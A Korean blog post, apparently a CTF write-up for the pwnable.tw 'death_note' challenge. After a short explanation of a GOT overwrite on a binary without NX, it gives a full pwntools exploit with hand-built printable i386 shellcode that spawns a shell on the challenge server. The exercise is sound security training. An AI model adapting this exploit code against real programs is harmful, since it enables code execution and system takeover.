예전에 상당히 재미있게 봤었었는데.. ㅎㅎ
문제는 간단하다. 딱히 분석은 없다. 너무 단순해서
NX가 없고, got부분을 네가 작성하는 쉘코드의 주소로 덮어쓸 수 있다.
따라서 내가 작성한 쉘코드를 실행하는 문제이다.
중간에 글 쓰다가 날라갔다. 이 문제는 나에게 있어서 나쁜 기억만 심어주었다.
당연히
char*str={"/bin/sh",0};
execve(str[0],str,0); 으로 쉘코드 작성하면 될줄 알았는데
32bit에서는 execve("/bin/sh",0,0) 이다.
너무 짜증나니까 내 코드를 가져가세요
from pwn import*
p=process('./death_note')
context(os="linux",arch="i386")
p=remote('chall.pwnable.tw',10201)
shell=asm("push ecx")
shell+=asm("push esp")
shell+=asm("push 0x68732f2f")
shell+=asm("push 0x6e69622f")
shell+=asm("push esp")
shell+=asm("pop ebx")
shell+=asm("push ebx")
shell+=asm("push esp")
shell+=asm("pop ecx")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("dec eax")
shell+=asm("xor ax,0x2050")
shell+=asm("xor ax,0x5f62")
shell+=asm("xor [edx+0x47],ax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("push 0x2b")
shell+=asm("pop eax")
shell+=asm("xor al,0x20")
shell+=asm("pop edx")
shell+=asm("pop edx")
shell+=asm("pop edx")
shell+=asm("pop edx")
shell+=asm("pop edx")
for i in range(16) :
shell+=asm("inc edx")
shell+=asm("push ebx")
shell+=asm("pop esp")
shell+=asm("pop edi")
shell+=asm("pop edi")
shell+=asm("pop edi")
shell+=asm("push edx")
shell+=asm("pop ecx")
print(hex(len(shell)))
print(shell.encode("hex"))
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('Index')
p.sendline('-16')
p.recvuntil('Name')
pause()
p.sendline(shell)
p.interactive()
'전공쪽 > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] bounty program α (0) | 2021.01.18 |
---|---|
[pwnable.tw] starbound (0) | 2020.12.31 |
[pwnable.tw] tcache tear (0) | 2020.12.27 |
[pwnable.tw] Re-alloc (0) | 2020.12.24 |
[pwnable.tw] apple store (0) | 2020.12.24 |